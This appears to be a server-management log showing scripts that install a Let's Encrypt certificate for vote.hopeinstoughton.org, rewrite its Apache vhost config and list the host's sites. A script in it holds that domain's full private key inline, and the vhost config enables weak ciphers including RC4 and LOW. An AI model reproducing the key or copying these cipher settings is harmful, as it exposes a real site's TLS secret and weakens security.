MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-11-09 06:00:02: Establishing a connection
2025-11-09 06:00:03: Establishing a connection
2025-11-09 06:00:04:
PUT: /tmp/pkp591747
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-09 06:00:05:
chmod 755 /tmp/pkp591747; /tmp/pkp591747; rm /tmp/pkp591747
2025-11-09 06:00:05:
0
2025-11-09 06:00:06: Establishing a remote connection
2025-11-10 06:00:03: Establishing a connection
2025-11-10 06:00:03: Establishing a connection
2025-11-10 06:00:03:
PUT: /tmp/pkp903982
#!/bin/bash
if [ -d "/var/www/hopeinstoughton_vote/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-10 06:00:05:
chmod 755 /tmp/pkp903982; /tmp/pkp903982; rm /tmp/pkp903982
2025-11-10 06:00:05:
0
2025-11-10 06:00:31: Establishing a connection
2025-11-10 06:00:31:
PUT: /tmp/pkp951410
#!/bin/bash
temp_file=$(mktemp)
TARGET=277b862c622fb9fa5d441c9959ff5ee3.crt
cat > $temp_file <<'endmsg'
4a:11:58:8b:99:8f:1b:06:ed:fb:90:a3:48:6d:5f:b5
-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBi/S3upO9GBjg9arTV8jGNSZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTEwMDUwMjAwWhcNMjYwMjA4MDUwMTU5WjAjMSEwHwYDVQQD
Exh2b3RlLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDZBjTWThDW0ZNCQXxI7siPUf4t8hzVtaoMxbTK0WIoYMlkLBVe
xcxpdQLLGKiXaaGZTgkaEc+2rChTAow30Yq67T380JlvnEQuPTo/w+9H6gvbl6iY
/hM9sZCJKOkiGiY/2dGscKVV+FdoAjKrUIv1laFQbRxRn+GPgrQOBA+Dg0iRAJpU
Ha1+6ahVss5gabw3shHku0ZsIuMr83SB4dJPn1g2RKCAxbOSlDqInJUsi004RYFl
C9Mq02JefBA732QD2yjHAWHC1LpwjpepPd8l8GUFZ1Ld09AxbG7QC4bFay2VkqtZ
usUAB5KpnTCtQSPqPo5ccEe4S2wTuMjAA2m/AgMBAAGjggIqMIICJjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFB6otP/trILMbdywEmnze6jO5+wWMB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYdm90ZS5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMjYuY3JsMIIBBgYKKwYBBAHW
eQIEAgSB9wSB9ADyAHcASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMA
AAGabFoF/wAABAMASDBGAiEA2TP4jAC7Euo6I8/sZPn98qqkcRhWyBscZbm/QEl9
AqYCIQCKejH+v5d0aUVeII51CMmAdIjxFie0TccsSGMDTz1JpAB3AMs49xWJfISh
RF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABmmxaBvAAAAQDAEgwRgIhAOMMtlRN
8WijbnI39z+x2F8VGMnYW6qGIe/oF1qk2CXrAiEAygy7FXtUvoBMdI8JUgc+0Y+W
XnCNvZ6fpabp9bjaFVQwDQYJKoZIhvcNAQELBQADggEBAIflHfU90S3ZYaYvZa5Q
yq1iCxut59oQ1NELL4PgW1WXh2gIEWVqldqG5UKUgG8Jbe6SpEbynIhp/AAPpIWa
Gz/WvYUYfLAlf3aOjUJ4m7CiUbNG7OohKw2Ybvmf1MdHlcIj4f5G/1XsJjRvZ57A
g0Dxs+qK6c+vXyhqQzX2DxrHu5bwZubk3Uu6YwT0meYR7bNy6+E1nicT0oSFdJJ2
YGIfep0HtXFI0bI70kq3Sof8zWBatfukfKjRfCL0razvM3daHTZ9A/vAL1WhXLB4
rK5C+LicKobELA1dBtUf/9Tna3JoSVRWzRKbsgQZJYth+HAl/Mchz28SpNOGMxYF
Vag=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDZBjTWThDW0ZNC
QXxI7siPUf4t8hzVtaoMxbTK0WIoYMlkLBVexcxpdQLLGKiXaaGZTgkaEc+2rChT
Aow30Yq67T380JlvnEQuPTo/w+9H6gvbl6iY/hM9sZCJKOkiGiY/2dGscKVV+Fdo
AjKrUIv1laFQbRxRn+GPgrQOBA+Dg0iRAJpUHa1+6ahVss5gabw3shHku0ZsIuMr
83SB4dJPn1g2RKCAxbOSlDqInJUsi004RYFlC9Mq02JefBA732QD2yjHAWHC1Lpw
jpepPd8l8GUFZ1Ld09AxbG7QC4bFay2VkqtZusUAB5KpnTCtQSPqPo5ccEe4S2wT
uMjAA2m/AgMBAAECggEAFRgXVqUr2dVw/MWksOoUsGmFzS11RAhuSOOGmRgU9FvD
92qZgSa0oaNv7BGvgVgRDveYxuHoUJcXLEpZGqvRUi3xEnusDj8gGWZ2HPCMd272
TBfHmWdIs3xo0gwZ7Oihwx8G1D32tA55YHCmQCSKFgq/LTQNxplFsU9A9QPMBjo0
ly7gbgf3cE/PGY8JxtUSbW8IH41yUGK/e4Zeb/x6hcRehONddkWqynSduoZRchO/
rZdr9FjCQPv4BXopyHLesrjo9TvIB4Vr2UIqNe1mOjXRh/LdT1Dn8GbAb2XdlsJ+
y/qYL+X7RhK42hPVEgAcXIGjKWLLLIZBCyWnTVvh4QKBgQD4ZHGxZxAuW5WOhbve
ZnTiktouOnPByFcN+ig4a3/NuQ9bnLR+nOXDbt7FjPINRhtNaObbyDVmEmvHJdtA
8iq0BEYx96vDlbk7JwX+okJF3z84Kvd1vIFIVzztLUBnzLQupbZYPX0apnD1gjSy
zlr1bRBZ0JXYEYaUmd74HV7spwKBgQDfq9DqLO+yuowlpzVBkGM8umfxObBVtN+w
7wG7T0C4s903oFG+9f6ZaHRsvSGR7m1bTij5Nrr+WLJ6INRH1Bae5P4wrOdKSneN
zuDK228sn1iHsDkoMd8PJ3ryUXCoT3AfEZAe7Q2NkqfwJqhDw9hXnflpO3pxm56Z
h5E3ehXFKQKBgHC2y6yv0vTmVEBfSTgLkCC8eMsfdSXLLk3GZXfsuAr3XhO5UWJe
+hgr+GT2p2QEmyEOaCv1dt3BoCy3bf3TpjMX+W51L/lJuMsx0xOQN7iTLJHlVXOU
vanBBIGv1hkEGANO6SaziFCOlJWjpxw4bagO/Kt07nokwcgu5rH6SffjAoGAKXab
at3brYFBe7VsfPP8QYS4whIUqz61fQJBiuydLeBB8Q7qOIE3qk6fzoydDYVqhlON
6u0HayEcLOGrGImri9cde/6BfdciJIqmR1S4XkhHzBeR8O6V0CRceVE5linrugay
ddkx+v2l3jH8XVuP3mYtlyFsiGT12LY16Ffcc0kCgYAB7qU3FxzaCnozpRfqhHn5
PwWv8UhrEtlfTHyelCaW0H3ALTwsCxbTM8uoWAHSXaqe10kzkJbipq1OYRVZJYyN
7ORFg3RnAS/Kw2ahML2HnOqcrz65XAblLWtv91/KSIlYUAwegFkqq7c6GjelmDuA
Ii4FY0q/S00vGWztb3wopA==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-10 06:00:31:
chmod 755 /tmp/pkp951410; /tmp/pkp951410; rm /tmp/pkp951410
2025-11-10 06:00:31:
dir=/etc/ssl/certs
2025-11-10 06:00:31:
PUT: /tmp/pkp316598
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-10 06:00:31:
chmod 755 /tmp/pkp316598; /tmp/pkp316598; rm /tmp/pkp316598
2025-11-10 06:00:31:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf 48
<VirtualHost *:80>
ServerName vote.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_vote/public
<Directory /var/www/hopeinstoughton_vote>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/vote_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/vote_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName vote.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt
DocumentRoot /var/www/hopeinstoughton_vote/public
<Directory /var/www/hopeinstoughton_vote>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
</FilesMatch>
CustomLog /var/log/apache2/hopeinstoughton/vote_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/vote_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-10 06:00:31:
PUT: /tmp/pkp289702
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_vote_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName vote.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_vote/public
<Directory /var/www/hopeinstoughton_vote>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/vote_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/vote_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName vote.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt
DocumentRoot /var/www/hopeinstoughton_vote/public
<Directory /var/www/hopeinstoughton_vote>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
</FilesMatch>
CustomLog /var/log/apache2/hopeinstoughton/vote_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/vote_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf= 1'
fi
2025-11-10 06:00:31:
chmod 755 /tmp/pkp289702; /tmp/pkp289702; rm /tmp/pkp289702
2025-11-10 06:00:31:
2025-11-10 06:00:31:
PUT: /tmp/pkp640294
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-10 06:00:31:
chmod 755 /tmp/pkp640294; /tmp/pkp640294; rm /tmp/pkp640294
2025-11-10 06:00:31:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-10 06:00:31: Establishing a connection
2025-11-10 06:00:31:
PUT: /tmp/pkp323038
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-10 06:00:32:
chmod 755 /tmp/pkp323038; /tmp/pkp323038; rm /tmp/pkp323038
2025-11-10 06:00:32:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
alias www.theyoungdesigners.com
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
alias www.theyoungdesigners.com
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-10 06:00:32:
PUT: /tmp/pkp841155
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-10 06:00:32:
chmod 755 /tmp/pkp841155; /tmp/pkp841155; rm /tmp/pkp841155
2025-11-10 06:00:32:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf 1655
<VirtualHost *:80>
ServerName vote.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_vote/public
<Directory /var/www/hopeinstoughton_vote>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/vote_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/vote_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
